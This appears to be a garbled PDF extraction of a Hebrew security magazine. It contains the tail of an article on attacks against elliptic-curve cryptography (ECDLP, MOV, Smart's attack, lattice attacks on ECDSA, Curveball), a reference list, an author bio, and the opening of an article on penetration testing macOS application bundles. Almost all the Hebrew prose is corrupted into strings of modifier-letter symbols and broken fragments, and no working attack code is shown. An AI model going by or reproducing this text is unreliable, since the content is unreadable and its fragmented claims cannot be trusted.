 ˞˪ ˢ˶ˣ˴˟

ˢ˥ˣ˦˟ 

˸˧˶˪ˣˠˮ˧˯ ˢˬˣ˵˰ˢ 

 ˸˧˧˰˟ ˸˶ˬˢ

ECDLP  ˸˧˧˰˟˪

DLP 

 ˭˲ˣ˞˟ ˫˧˶˲˯ˬ˪ ˸ˣˡˣ˵ˮ ˧ˣ˲˧ˬ

 ˭˧˟ ˪˲˩˪ ˸ˣˡˣ˵ˮ ˭˧˟ ˶ˣ˟˧˥ ˶˧ˬˬ˷

˫˧˶˲˯ˬ 

ὕ ὴ  

 ˶˷˞˩ὴ  ˫˶ˣˠˢ ˞ˣˢ

˟ ˪ˣˡˠˢ ˧ˮˣ˷˞˶ˢ ˶˸ˣ˧

 ˪˷ ˵ˣ˶˧˲˟ὴ ρ 

˶˲ˣ˯ ˢˬˣ˵˰ˢ-

˸˧˶˪ˣˠˮ˧˯ 

Ὡ
Ⱦ

 
Ⱦ

 ˶˷˞˩Ὧ ˢ ˞ˣˢ-

Embedding Degree  

˶ˣ˦˶ˮˠ˪ ˯˥˧˟ 

˸˧˪ˬˣˮ˞ ˢˬˣ˵˰ˢ {ƳŀǊǘΩǎ !ǘǘŀŎƪ 

 ˢˬˣ˵˰˟ ˸ˣˡˣ˵ˮˬ ˫˧˧ˣ˲˧ˬ ˸˶ˡ˯

 ˫˧˶˲˯ˬ ˪˰ˬ ˢˬˣ˵˰˟ ˸ˣˡˣ˵ˮ˪ὴ-

˫˧˶˲˯ˬ˪ ˢ˶ˤ˥˟ˣ ,˫˧˧ˡ˞ ˫˧ˬ˪˷ 

ὕρ 
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 ˪˰ ˸ˣ˰ˣˡ˧ˢ ˸ˣ˲˵˸ˬˢ ˫ˣ˩˧˯ECDSA 

ˢ˧˰˟ˢ ˠˣ˯ ˢ˧˰˟ˢ ˢ˲˵˸ˬˢ ˸ˡ˟ˣ˰ ˢ˲˵˸ˬˢ ˨˧˞ ˢ˲˵˸ˬˢ ˸ˣ˧˩ˣ˟˧˯ 

 ˪˷ ˧ˣˠ˷ ˷ˣˬ˧ˬ

 ˸ˣˬ˧˞ˣ ˢˬ˧˸˥

ˢˬ˧˸˥ 

 ˟ˣ˷˧˥ ˧˞hash  ˪˷

 ˧ˮ˲˪ ˢ˰ˡˣˢˢ

ˢ˧˪˰ ˢˬ˧˸˥ˢ 

 ,ˢˬˣ˸˥ ˢ˰ˡˣˢ ˭˸ˮ˧ˢ˟

 ˸ˣ˲˯ˣˮ ˸ˣ˰ˡˣˢ ˸˶˧˴˧

 ˢ˸ˣ˞˪ ˸ˣˬ˧˞˸ˬ˷

ˢˬ˧˸˥ˢ 

 ˸˪˧˥˸ ˸˞ ˫˧˶ˬˣ˷

ˢˢ ˫˧ˮ˷ˬˣ ˢ˰ˣ˟˵ ˢ˰ˡˣ

ˢ˪˷ ˨˷ˬˢˢ ˸˞ 

ὕρ 

 ˧ˣˠ˷ ˷ˣˬ˧˷

 ˫˸˧˶ˣˠ˪˞˟

ˢˬ˧˸˥ˢ 

 ˣ˸ˣ˞˟ ˷ˣˬ˧˷ ˨˶˰Ὧ 

˸ˣˮˣ˷ ˸ˣˬ˧˸˥˟ 

 ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞˧˴ˬ

˷ˬ˸˷ˬˢ 

 ˪˷ ˨˶˰ˢ ˸˞˧˴ˬὯ ,

 ˧˦˶˲ˢ ˥˸˲ˬˢ ˟ˣ˷˧˥ˣ

ˣˮˬˬ ˷ˬ˸˷ˬˢ ˪˷ 

ὕρ 

 ˨˶˰ ˸˪˶ˠˢὯ 

ˢ˥ˣ˦˟ ˞˪ ˢ˶ˣ˴˟ 

 ˸ˣ˰ˡˣˢ ˶˲˯ˬ ˭˸ˮ˧ˢ˟

 ˥˸˲ˬˢ ˸˞˧˴ˬ ,˸ˣˬˣ˸˥

˲ˢ˷ˬ˸˷ˬˢ ˪˷ ˧˦˶ 

 ˸˞˧˴ˬ˪ ˢ˧˰˟ˢ ˸˶ˬˢ

 ˸˞˧˴ˬ ,ˠ˧˶˯˟ ˶˴˵ ˶ˣ˦˵ˣ

 ˪˷ ˨˶˰ˢὯ  ,ˣˢ˷˪˩

 ˧˦˶˲ˢ ˥˸˲ˬˢ ˟ˣ˷˧˥ˣ

ˣˮˬˬ ˷ˬ˸˷ˬˢ ˪˷ 

ὕὨÌÏÇὄ  

 ˶˷˞˩ὄ  ˢ˧˦ˢˢ ˞˧ˢ

)Bias ˪˷ (Ὧx ,-Ὠ  ˞ˣˢ

 ˸ˣ˰ˡˣˢˢ ˶˲˯ˬ

˸ˣˬˣ˸˥ˢ 

 ˪˷ ˧ˣˠ˷ ˷ˣˬ˧ˬ

ˢˬ˧˸˥ ˸ˣˬ˧˞ 

 ˢ˵˧ˡ˟ ˶˯ˣ˥

˭˧˵˸ ˶ˣ˦˶ˮˠˢ˷ 

˸ˣˬ˧˸˥ ˸˶˧˴˧  ˸ˣ˲˧ˣˤˬ

ˢ˥˪˴ˢ˟ ˣ˸ˬˣ˞˧˷ 

(Curveball) 

 ˥˸˲ˬˣ ˶ˣ˦˶ˮˠ ˸˶˧˥˟

 ˫˧ˬ˧˞˸ˬ˷ ˫˧˲˧ˣˤˬ ˧˦˶˲

 ˪˷ ˧˶ˣ˟˧˴ˢ ˥˸˲ˬ˪

˶˥˞ ˷ˬ˸˷ˬ 

ὕρ 

 

 

˸ˣ˲˵˸ˬˢ ˧ˮ˲ˬ ˸ˣˮˮˣˠ˸ˢ 

 
˟˷ ˟˪ ˫˧˷˪ ˷˧-ECDH ˫˞ .˪ˣ˵ˣ˦ˣ˶˲ˢ ˸˪˧˥˸˟ ˢˬˣ˵˰ˢ ˪˰ ˫ˢ˧ˮ˧˟ ˫˧˩˯ˢ˪ ˫˧˩˧˶˴ ˫˧ˡˡ˴ˢ ˧ˮ˷ ,

 ˞ˣˢ ˱˵ˣ˸ˢˣ ,ˣˢ˷˪˩ ˱˵ˣ˸ ˫˰ ˶˟ˡˬ ˷ˬ˸˷ˬ ˵˲˯˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ˤ˞ ,ˢˬˣ˵˰ˢ ˧˶˦ˬ˶˲ ˸˞ ˵˲˯ˬ˷ ˢˤ

 ˫˞ .˷ˬ˸˷ˬˢ ˪˷ ˧˦˶˲ˢ ˥˸˲ˬˢ ˸˞ ˠ˧˷ˢ˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ˨˩ˬ ˢ˞˴ˣ˸˩ .˫˧˧˸ˣ˥˧˦˟ ˞˪ ˫˧˶˦ˬ˶˲

 ˢˤˢ ˷ˬ˸˷ˬˢ ˭˧˟ ˸ˣ˥˧˷ˢ ˪˩ ˸˞ ˥ˮ˰˲˪ ˪ˣ˩˧ ˱˵ˣ˸ˢ ˤ˞ ,˧˦˶˲ ˥˸˲ˬ ˣ˸ˣ˞˟ ˷ˬ˸˷ˬ ˡ˧ˬ˸ ˷ˬ˸˷ˬˢ

ˤ ˫˧˷ˬ˸˷ˬ˪ ˶˷˲˞˪ ˞˪ ˡˣ˞ˬ ˟ˣ˷˥ ˭˩˪ .˶˥˞ ˷ˬ˸˷ˬ ˪˩˪ ˞˪ˣ ˢˡ˧ˬ˟ ˢˬˣ˵˰ˢ ˧˶˦ˬ˶˲ ˸˞ ˵˲˯˪ ˫˧˶

 ˢˬˣ˵˰ˢ ˪˰ ˸˞˴ˬˮ ˭˩˞ ˶ˤ ˷ˬ˸˷ˬˬ ˢ˪˟˵˸ˢ˷ ˢˡˣ˵ˮ ˪˩˷ ˞ˡˣˣ˪ ˨˧˶˴ ,˱˯ˣˮ˟ .˫ˢ˧˪˰ ˨ˣˬ˯˪ ˭˸˧ˮ

 ˸ˣ˰ˣˡ˧ˢ ˸ˣ˲˵˸ˬˢˬ ˸˥˞˪ ˢ˰˧ˠ˲ ˞˪ ˢ˶˥˟ˮ˷ ˢˬ˴˰ ˢˬˣ˵˰ˢ˷ ˞ˡˣˣ˪ ˧˞ˡ˩ ,˭˟ˣˬ˩ˣ .ˢ˧˪˰ ˫˩˯ˣˢ˷

 ˷ˣˬ˧˷ ˪˩˟ ˷ˡ˥ ˧˦˶˲ ˥˸˲ˬ˟ ˷ˬ˸˷ˢ˪ ˱˧ˡ˰ ,˭˩ ˣˬ˩ .ˣˮ˧˞˶˷ ˪ˣ˵ˣ˦ˣ˶˲˟ECDH. 

˟ ,ˢˬˣˡ ˭˲ˣ˞˟-ECDSA  ˪˰ ˠ˪ˡ˪ ˞˪ .˸ˣˬ˧˞ˣ ˢˬ˧˸˥ˢ ˫˸˧˶ˣˠ˪˞ ˪˷ ˭ˣ˩ˮ ˷ˣˬ˧ˬ ˪˰ ˡ˧˲˵ˢ˪ ˨˧˶˴hash 

 ˨˶˰ ˪˷ ˢ˥ˣ˦˟ˣ ˸˧˞˶˵˞ ˢ˪˶ˠˢ ˪˰ ,˶˯ˬˢ ˪˷Ὧ  ˭˟ˣˬ˩ˣ ,˷ˡ˥ˬ ˪ˣ˵ˣ˦ˣ˶˲˟ ˫˧˷ˬ˸˷ˬ˷ ˫˰˲ ˪˩˟

 ˷ˬ˸˷ˬˢˬ ˪˟˵˸ˬ ˶ˣ˦˶ˮˠˢ ˫˞ ,ˢˬ˧˸˥ˢ ˸ˣˬ˧˞˟- ˪˰ ˫˩˯ˣˢ˷ ˢˤ ˭˩˞ ˞ˣˢ˷ ˞ˡˣˣ˪.˭˩˪ ˫ˡˣ˵ ˣ˧ 
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˫ˣ˩˧˯ 

 ˫˧˷ˣˬ˧˷ˢ ˢˬˣ ,˭ˢ˟ ˸ˣ˷˰˪ ˭˸˧ˮ˷ ˸ˣ˧˯˧˯˟ˢ ˸ˣ˪ˣ˰˲ˢ ˢˬ ,˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰ ˭ˢ ˢˬ ˣˮˡˬ˪ ˢˤ ˶ˬ˞ˬ˟

 ˭ˢ˟ ˫˧˷ˬ˸˷ˬ˷˩ ˢ˪˞ˢ ˸ˣ˩˶˰ˬˢ ˸˞ ˶ˣ˟˷˪ ˶˷˲˞ ˨˧˞ ˣˮ˧˞˶ ˶˵˧˰˟ .˧˲˶ˠˣ˦˲˧˶˵ ˶˷˵ˢ˟ ˭ˢ˪ ˷˧˷

.˭ˣ˩ˮ ˞˪ ˭˸ˣ˞ ˫˧˷ˬˬˬ˷˩ ˣ˞ ˢ˥ˣ˦˟ ˞˪ ˢ˶ˣ˴˟ 

˞ˬˬ ˸˥˵˪ ˟ˣ˷˥˷ ˪˩˷ˢ ˶˯ˣˬ ˢˤ ˶ˬ-  ˷ˬ˸˷ˢ˪ ˱˧ˡ˰ .˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˪ ˫˧˩˶˰ ˣˮˬ˴˰˟ ˞˧˴ˬˢ˪ ˞˪

 ˸ˣˬˣ˵˰ .˭˸ˣ˞ ˣ˵ˡ˟ ˢ˧˲˶ˠˣ˦˲˧˶˵ ˧˥ˬˣˬ˷ˣ ,˸ˣ˥ˣ˦˟ˣ ˸ˣ˪˧˰˧˪ ˸ˣ˟˷˥ˮ˷ "˸ˣ˥˩ˣˬ"ˣ ˸ˣ˧˦˶ˡˮ˦˯ ˸ˣˬˣ˵˰˟

˸ˣˬˣ˵˰ ˸ˣ˞˶˵ˮ ˢ˪˞˩˷NIST  ˭ˣˠ˶˞ˢ ˫˷ ˪˰ ,National Institute of Standards and Technology 

˲˷ˬˢ .˭ˢ˧˪˰ ˳˧˪ˬˬ˷:˭˧˧ˮ˰ˢ ˸˞ ˫˩˯ˬ ˞˟ˢ ˫˯˶ˣ˲ˬˢ ˦ 

ά5ƻƴΩǘ Ǌƻƭƭ ȅƻǳǊ ƻǿƴ ŎǊȅǇǘƻƎǊŀǇƘȅέ 

 ˸ˣ˲˯ˣˮ ˸ˣ˲˵˸ˬ ˫ˣ˧ˢ ˸ˣˬ˧˧˵ ˧˪ˣ˞ .˸ˣ˵˧˲˯ˬ ˞˪ ˢ˪˞ ˸ˣ˴˰ ˫ˠ˷ ˸ˣ˧ˢ˪ ˪ˣ˩˧˷ ˭ˣ˟˷˥˟ ˸˥˵˪ ˟ˣ˷˥

 ˸ˣˬˣ˵˰˟ ˢ˥˦˟˞ ˸ˣ˴˶˲ ˸ˣˬ˧˧˵ ˧˪ˣ˞ .ˡˣ˯˟ ˸ˣ˶ˬ˷ˮˣ ˫˪ˣ˰ˢ ˧˟˥˶˟ ˢ˥˦˟˞ ˧ˮˣˠ˶˞ ˧ˡ˧ ˪˰ ˣ˥˸ˣ˲˷NIST 

ˣ˟˷˥ˮ˷ ˸ˣ˧˦˶ˡˮ˦˯.˫˧˰ˣˡ˧ ˞˪ ˫˧˧˦ˬ˸ˬ ˫˧˵˧˶˦ ˫˰ ,"˸ˣ˥ˣ˦˟"˩ ˸ 

 .˶˷˲˞˷ ˢˬ˩ ˡ˰ ˸˧˟˧˦˧˞ˣ˦ˮ˧˞ˣ ˢ˶ˣ˶˟ ˢ˶ˣ˴˟ ˢˤˢ ˞˷ˣˮˢ ˸˞ ˶˧˟˰ˢ˪ ˧˸˥˪˴ˢ˷ ˢˣˣ˵ˬ ˧ˮ˞ ,ˢ˶˵ˬ ˪˩˟

 ˭ˣˣ˧˩˪ ˨˪ˣˢ ˫˪ˣ˰ˢ˷ ˢ˞˶ˮElliptic Curve Cryptography  ˸ˣ˞˶˪ ˢ˩˥ˬ ˧ˮ˞ˣ ,ˢ˥˦˟˞ˣ ˸ˣ˪˧˰˧ ˧˪ˣ˵˧˷ˬ

.ˡ˧˸˰˟ ˣ˪ˠ˸˧ ˸ˣ˲˵˸ˬ ˡˣ˰ ˢˤ˧˞ 

 ˢˣˣ˵ˬ!ˢ˞˧˶˵ˢˬ ˫˸˧ˮˢˮ˷ 

 
˶˟˥ˬˢ ˪˰ 

 

 ˭˟ ,˧˵˯˵ ˧˪˞ ˧ˮ˞ол ˧˶ˠ˸˞ ˶ˣ˸˲˪ˣ ˟ˣ˸˩˪ ˟ˢˣ˞ ,CTF ˸ˣ˧˶ˣˠ˦˵˟ ˡ˥ˣ˧ˬ˟ ,Reverse Engineering 

.ˡˣ˵ ˫˰ ˫˧˟˧ˮˠˬ ˫˧˶˟ˡ ˸ˣ˷˰˪ ˟ˢˣ˞ˣ ,ˢ˧˲˶ˠˣ˦˲˧˶˵ˣ 

˟ ˶˷˵ ˧˸˧˞ ˶ˣ˴˧˪ ˫˧ˮˬˤˣˬ ˞˷ˣˮ ˪˩˟ ˸ˣ˧ˮ˲˪-4@gmail.comelikaski9 ˟ ˣ˞-LinkedIn. 

 

  

mailto:elikaski94@gmail.com
https://www.linkedin.com/in/elikaski/
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˫˧˯ˮ˶˲˶ 

¶  ˶˲˯ˢ ˨ˣ˸ˬ ˫˧˲˶ˠ ˧ˬ˧˷˶˸˟ ˧˸˷ˬ˸˷ˢ ˢˤ ˶ˬ˞ˬ˟Understanding Cryptography  ˸˞ˬ

Christof Paar: 

https://gnanavelrec.wordpress.com/wp-content/uploads/2019/06/2.understanding-

cryptography-by-christof-paar-.pdf 

¶ :˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰ ˸ˣ˞˶ˮ ˨˧˞ ˷˧˥ˬˬ˷ ˶˸˞ 

https://graui.de/code/elliptic2/ 

¶ :˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˟ ˪˲˩ˢˣ ˶ˣ˟˧˥ˢ ˸ˣ˪ˣ˰˲ ˪˰ ˫˧˦˶ˣ˲ˬ ˫˧˶˟˯ˢ 

https://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication 

¶ ˟ˬ ˪˰ ˢ˞˴˶ˢ ˸ˣˡˣ˵ˮ ˭˧˟ ˶ˣ˟˧˥ˣ ˸ˣ˧˦˲˧˪˞ ˸ˣˬˣ˵˰˪ ˞ˣ-  ˸˞ˬChristof Paar: 

https://www.youtube.com/watch?v=vnpZXJL6QCQ 

¶  ,˫˧˶ˣ˦˶ˮˠ ˪˰ ˢ˞˴˶ˢECDLP ,˸ˣ˧˰˟ ˪˷ ˧˷ˣ˵ ,ECDH ,Double And Add -  ˸˞ˬChristof Paar: 

https://www.youtube.com/watch?v=zTt4gvuQ6sY 

¶  ˡˡˬ ˪˰ ˶˟˯ˢSecurity Level :˫˧ˮˣ˷ ˢˮ˲˴ˢ ˧ˬ˸˧˶ˣˠ˪˞ ˪˷ 

https://en.wikipedia.org/wiki/Security_level 

¶ ˟˯ˢ ˪˰ ˶ECDH: 

https://en.wikipedia.org/wiki/Elliptic-curve_Diffie%E2%80%93Hellman 

¶  ˪˰ ˶˟˯ˢECDSA: 

https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm 

¶  ˫˰ ˸ˣˬ˧˸˥ ˪˰ ˶˟˯ˢElGamal: 

https://en.wikipedia.org/wiki/ElGamal_signature_scheme 

¶ ˣ˧˶˞˷ˢ ˦˲˷ˬ ˪˰ ˶˟˯ˢ:˧ˮ˧˯ˢ ˸ 

https://en.wikipedia.org/wiki/Chinese_remainder_theorem 

¶ :˪ˣ˲˩ ˷˶ˣ˷ ˢ˟ ˷˧˷ ˨˩˪ ˸˧˶˪ˣˠˮ˧˯ ˢˬˣ˵˰ ˪˷ ˢ˦ˮˮ˧ˬ˧˶˵˯˧ˡˢ ˭˧˟ ˶˷˵ˢ ˪˰ ˶˟˯ˢ 

-neq-2-3+27B-4A-is-why-3+AX+B-X-2-Y-form-the-in-curve-elliptic-an-https://www.quora.com/For

singularity-non-for-condition-the-0 

  

https://gnanavelrec.wordpress.com/wp-content/uploads/2019/06/2.understanding-cryptography-by-christof-paar-.pdf
https://gnanavelrec.wordpress.com/wp-content/uploads/2019/06/2.understanding-cryptography-by-christof-paar-.pdf
https://graui.de/code/elliptic2/
https://en.wikipedia.org/wiki/Elliptic_curve_point_multiplication
https://www.youtube.com/watch?v=vnpZXJL6QCQ
https://www.youtube.com/watch?v=vnpZXJL6QCQ
https://www.youtube.com/watch?v=zTt4gvuQ6sY
https://en.wikipedia.org/wiki/Security_level
https://en.wikipedia.org/wiki/Elliptic-curve_Diffie%E2%80%93Hellman
https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm
https://en.wikipedia.org/wiki/ElGamal_signature_scheme
https://en.wikipedia.org/wiki/ElGamal_signature_scheme
https://en.wikipedia.org/wiki/Chinese_remainder_theorem
https://en.wikipedia.org/wiki/Chinese_remainder_theorem
https://www.quora.com/For-an-elliptic-curve-in-the-form-Y-2-X-3+AX+B-why-is-4A-3+27B-2-neq-0-the-condition-for-non-singularity
https://www.quora.com/For-an-elliptic-curve-in-the-form-Y-2-X-3+AX+B-why-is-4A-3+27B-2-neq-0-the-condition-for-non-singularity
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¶ ˟ ˧ˣ˲˧ˬˢ ˪˷ ˫˧ˮ˦˵ ˫˧˶˲˯ˬ˟ ˞ˬˠˣˡ:˸ˣ˧˶˪ˣˠˮ˧˯ ˸ˣˬˣ˵˰˟ ˫˧˶˲˯ˬ˪ ˸ˣˡˣ˵ˮ ˭˧ 

https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp/61434#61434 

¶  ˫˧˶˲˯ˬ ˪˰ ˫˧˶˟˯ˢὴ-:˫˧˧ˡ˞ 

adic_number-https://en.wikipedia.org/wiki/P 

https://www.youtube.com/watch?v=3gyHKCDq1YA 

¶  ˸˲˵˸ˬ ˧˶ˣ˥˞ˬ ˢ˵˧˦ˬ˸ˬˢ ˪˰ ˶˟˯ˢMOV: 

https://risencrypto.github.io/WeilMOV/ 

¶  ˸˲˵˸ˬ ˧˶ˣ˥˞ˬ ˢ˵˧˦ˬ˸ˬˢ ˪˰ ˫˧˶˟˯ˢ{ƳŀǊǘΩǎ !ǘǘŀŎƪ :(˫˸˶ˢˤˣˢ ˣ˞˶ ,˸˩˟ˣ˯ˬ ˧ˡ ˞˧ˢ) 

https://wstein.org/edu/2010/414/projects/novotney.pdf 

http://www.monnerat.info/publications/anomalous.pdf 

¶  ˫˸˧˶ˣˠ˪˞ˣ ˠ˧˶˯ ˸˯˯ˣ˟ˬ ˢ˲˵˸ˬˢ ˪˰ ˶˟˯ˢLLL: 

https://forum.vac.dev/t/lattice-attacks-on-ecdsa/136 

 ˵˪˥ ˪˰ ˸˯˯˟˸ˬ ˢ˲˵˸ˬˢп  ˸˞ˬ ˶ˬ˞ˬ˟Joachim Breitner x-Nadia Heninger: 

https://eprint.iacr.org/2019/023.pdf 

¶  ˸˧˧˰˟ ˪˰ ˶˟˯ˢCVP: 

https://en.wikipedia.org/wiki/Lattice_problem#Closest_vector_problem_(CVP) 

¶  ˫˸˧˶ˣˠ˪˞ ˪˰ ˶˟˯ˢLLL: 

https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basi

s_reduction_algorithm 

https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp/61434#61434
https://en.wikipedia.org/wiki/P-adic_number
https://en.wikipedia.org/wiki/P-adic_number
https://www.youtube.com/watch?v=3gyHKCDq1YA
https://risencrypto.github.io/WeilMOV/
https://risencrypto.github.io/WeilMOV/
https://wstein.org/edu/2010/414/projects/novotney.pdf
http://www.monnerat.info/publications/anomalous.pdf
https://forum.vac.dev/t/lattice-attacks-on-ecdsa/136
https://eprint.iacr.org/2019/023.pdf
https://en.wikipedia.org/wiki/Lattice_problem#Closest_vector_problem_(CVP)
https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm
https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm
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Penetration Testing of macOS Applications 

˸˞ˬ ˪˞˧ˮˡ ˳˧˟ˣˮ˧˟˶˭˧ˮ˧ˬ ˢ˧˪ˣ˧ˣ ' 

 

ˢˬˡ˵ˢ 

ˢ˲ˣ˵˸˟ ˢˮˣ˶˥˞ˢ ˟˵˰ ˸˧˧˪˰ ˲ˣ˲ˢ˸ˣ˧˶˪ˣ ˪˷ ˧˟˷˥ˬ ˪˲˞ ˢ˪˰ ˫ˠ ˷ˣ˵˧˟ˢ ˸ˣ˵˧ˡ˟˪ ˸ˣ˶˧ˡ˥ ˸ˣ˧˴˵˧˪˲˞˪ 

-˟macOS Φ˧˷ˮ˞˩ ˰ˣ˴˵ˬ ˫˧˰˴˟ˬˢ ˸ˣ˵˧ˡ˟ ˸ˣ˶˧ˡ˥ ˫˸˧˧˥ˬ˪ Σˣˮ˪˥˸ˢ ˡˡˣˬ˸ˢ˪ ˫˰ ˶ˠ˸˞ˢ ˸˧˵ˡ˟˟ 

˸ˣ˧˴˵˧˪˲˞ ˸˟˧˟˯˟ mac Σ˶˷˞˩ ˣˮ˪˥˸ˢ ˸˞ ˸ˣ˵˧ˡ˟ˢ ˣˮ˧˯˧ˮ ˷˲˥˪ ˨˧˶ˡˬ ˢˬˣˡ˟ ˯ˣˡˮ˧ˣ˪ ˯˵ˣˮ˧˪ˣ Σ˨˞ ˞˪ 

ˣˮ˞˴ˬ ˡ˥˞ ˢˤ˩ Φ˧˶˥˞ s˸˰˵˷ ˭ˬˤ ˟˶ ˫˧˷ˣ˲˧˥˟ ˶˥˞ ˫˧˪˩ ˸ˣ˵˧ˮ˩˦ˣ ˸ˣˮˣ˷ ˸˞˧˴ˬ˪ ˸ˣ˷˪ˣ˥ ˸ˣ˧˴˵˧˪˲˞˟ 

macOS Σˣˮ˰ˠˢ ˢˮ˵˯ˬ˪ ˧˪ˣ˞˷ ˟ˣ˸˩ˮ ˨˧˶ˡˬ ˣˮˬ˴˰˟ Σ˧ˡ˩ ˱˸˷˪ ˸˞ ˭ˣ˧˯˧ˮˢ ˰ˡ˧ˢˣ ˣˮ˶˟˴˷ ˡ˰ ˢ˩Φ 

 

ˢ˧˴˵˧˪˲˞ˢ ˢˮ˟ˬ 

˪˧˥˸ˮ ˸˶ˡˠˢˬ ˧ˢˬ ˢ˧˴˵˧˪˲˞ ˟πmacOS Υ ˢ˧˴˵˧˪˲˞˞˧ˢ ˢˮ˩ˣ˸ ˢ˴˶˷ ˪˰ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ macOS 

ύ˵˷˫ˡˣ ˢ˞˶˵ˮ OS X) Φ˞˧ˢ ˸˟˩˶ˣˬ ˱˯ˣ˞ˬ ˪˷ ˫˧˴˟˵ ˫˧˟˞˷ˬˣ ˫˧ˤˣ˶˞˷ ˡ˥˧ ˦ˬ˶ˣ˲˟ ˫˧ˣ˯ˬ ˟ˣ˶˪ˣ ˸˪˪ˣ˩ 

˵˷ˬˬ ˷ˬ˸˷ˬ ύGUI Φόˢˬˠˣˡ˪ ˶˲˯ˬ ˸ˣ˧˴˵˧˪˲˞ ˣˮ˪ˣ˩˷ ˫˧˶˧˩ˬ ΥChrome, Safari x-Word Φ˸ˣ˧˴˵˧˪˲˞ 

˟ˣ˶˪ ˸ˣ˟ˣ˸˩ ˟-Swift x-Objective-C Σ˨˞ macOS ˸˩ˬˣ˸ ˫ˠ ˸ˣ˲˷˟ ˸ˣ˶˥˞ ˣˬ˩ C xπҌҌCΦ 

ˣ˶ ˟˸ˣ˧˴˵˧˪˲˞ˢ ˸ˣˮ˵˸ˣˬ ˢˬπApp Store Σ˨˞ ˫˧˷ˬ˸˷ˬ˪ ˷˧ ˫ˠ ˸ˣ˶˷˲˞ ˡ˧˶ˣˢ˪ ˭˧˵˸ˢ˪ˣ ˸ˣ˧˴˵˧˪˲˞ 

˸ˣ˶ˣ˵ˬˬ ˡ˴ ˧˷˧˪˷ Φ˶˥˞˪ ˢˮ˵˸ˢˢ Σˢ˧˴˵˧˪˲˞ˢ ˨˶ˡ˟ ˪˪˩ ˸˞˴ˬˮ ˟˧˸ˮ˟ /Applications x˞ 

~/Applications ˨˞ ˢ˪ˣ˩˧ ˫ˠ ˸ˣ˧ˢ˪ ˸ˮ˯˥ˣ˞ˬ ˫ˣ˵˧ˬ˟ ˶˥˞ Φ˞ˬˠˣˡ˪ Σ˧ˬˣ˷˧˧ ˸˩˶˰ˬ ˫˧˞˴ˬˮ ˟˧˸ˮ˟ 

κSystem/Applications Φ˟ˣ˷˥ ˭˧˧˴˪ ˸ˣ˧˴˵˧˪˲˞˷ ˪πmacOS ˭˸˧ˮ ˸ˣˢˤ˪ ˧˲˪ ˸ˬˣ˧˯ˢ άapp έΦ˭ˢˣ ˸ˣˮ˯˥ˣ˞ˬ 

˸ˣ˪˧˟˥˩ Σ˸ˣ˞˶˵ˮˢ ˫ˠ ˸˪˧˟˥ ˢ˧˴˵˧˪˲˞ ύApplication Bundle(Φ 

˱˞ ˪˰ ˧˲ ˢ˪˧˟˥˷ ˢ˰˧˲ˣˬ ˳˟ˣ˵˩ ˡ˧˥˧ ˟πFinder Σ˞˧ˢ ˢ˷˰ˬ˪ ˢ˧˧˵˧˸ Φ˧ˡ˩ ˸ˣ˞˶˪ ˸˞ ˭˩ˣ˸ ˢ˧˴˵˧˪˲˞ˢ Σ

˶˷˲˞ ˳ˣ˥˪˪ ˢ˴˧˥˪ ˸˧ˮˬ˧ ˪˰ ˫˷ ˳˟ˣ˵ˢ ˶ˣ˥˟˪ˣ: 

 Show Package Contents 

  

https://developer.apple.com/documentation/bundleresources
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˨ˣ˸˟ ˸˧˧˵˧˸ Content Σˣ˪˩ˣ˸ ˞ˣ˴ˬ˪ ˶˲˯ˬ ˸˸π˸ˣ˧˵˧˸ ˣˬ˩ ˠ˴ˣˬ˷ ˭˞˩Υ 

 
 

ˢˮ˟ˬˢ ˧˯˧˯˟ˢ ˪˷ ˸˪˧˟˥ ˢ˧˴˵˧˪˲˞ˢ ˪πmacOS ˪˪ˣ˩ ˸˞ ˫˧˦ˮˬ˪˞ˢ ˫˧˞˟ˢΥ 

¶ Info.plist Υ˳˟ˣ˵ ˢˤ ˪˧˩ˬ ˰ˡ˧ˬ ˪˰ ˸ˣ˶ˡˠˢ ˢ˧˴˵˧˪˲˞ˢ Σˣˬ˩ ˢˢˤˬ ˢ˪˧˟˥ˢ ˸˯˶ˠˣ ˢ˪˧˟˥ˢΦ 

¶ MacOS Υˢ˧˧˵˧˸ xʕ ˢ˪˧˩ˬ ˸˞ ˳˟ˣ˵ ˢ˴˶ˢˢ ˧˷˞˶ˢΦ 

¶ Resources Υˢ˧˧˵˧˸ xʕ ˢ˪˧˩ˬ ˸˞ ˟˞˷ˬ ˧ˢ˧˴˵˧˪˲˞ˢ Σ˭ˣˠ˩ ˸ˣˮˣˬ˸ Σ˫˧ˬˣˠ˶˸ ˧˴˟˵ˣ ˸ˣ˵˷ˬˬ˸ˢΦ 

¶ ˸ˣ˧˵˧˸ ˸ˣ˲˯ˣˮ ˣ˪˩ˣ˸˷ ˞ˣ˴ˬ˪ ˸˪˧˟˥˟ ˢ˧˴˵˧˪˲˞ˢΥ 

¶ Frameworks Υˢ˧˧˵˧˸ xʕ ˢ˪˧˩ˬ ˫˧˵˶ˣˣˬ˧˧˶˲ ˸ˣ˧˶˲˯ˣ ˸ˣ˧ˬˮ˧ˡ ˳˟ˣ˵˷ ˢ˴˶ˢˢ ˧˷˞˶ˢ ˭˰ˣ˦Φ 

¶ Plugins Υˢ˧˧˵˧˸ xʕ ˢ˪˧˩ˬ ˸ˣ˟˥˶ˢ ˫˧˲˯ˣ˸ˣ ˢ˧˴˵˧˪˲˞˪ ˫˸˶˦ˬ˷ ˟˧˥˶ˢ˪ ˸˞ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ˢ ˢ˪˷ Φ

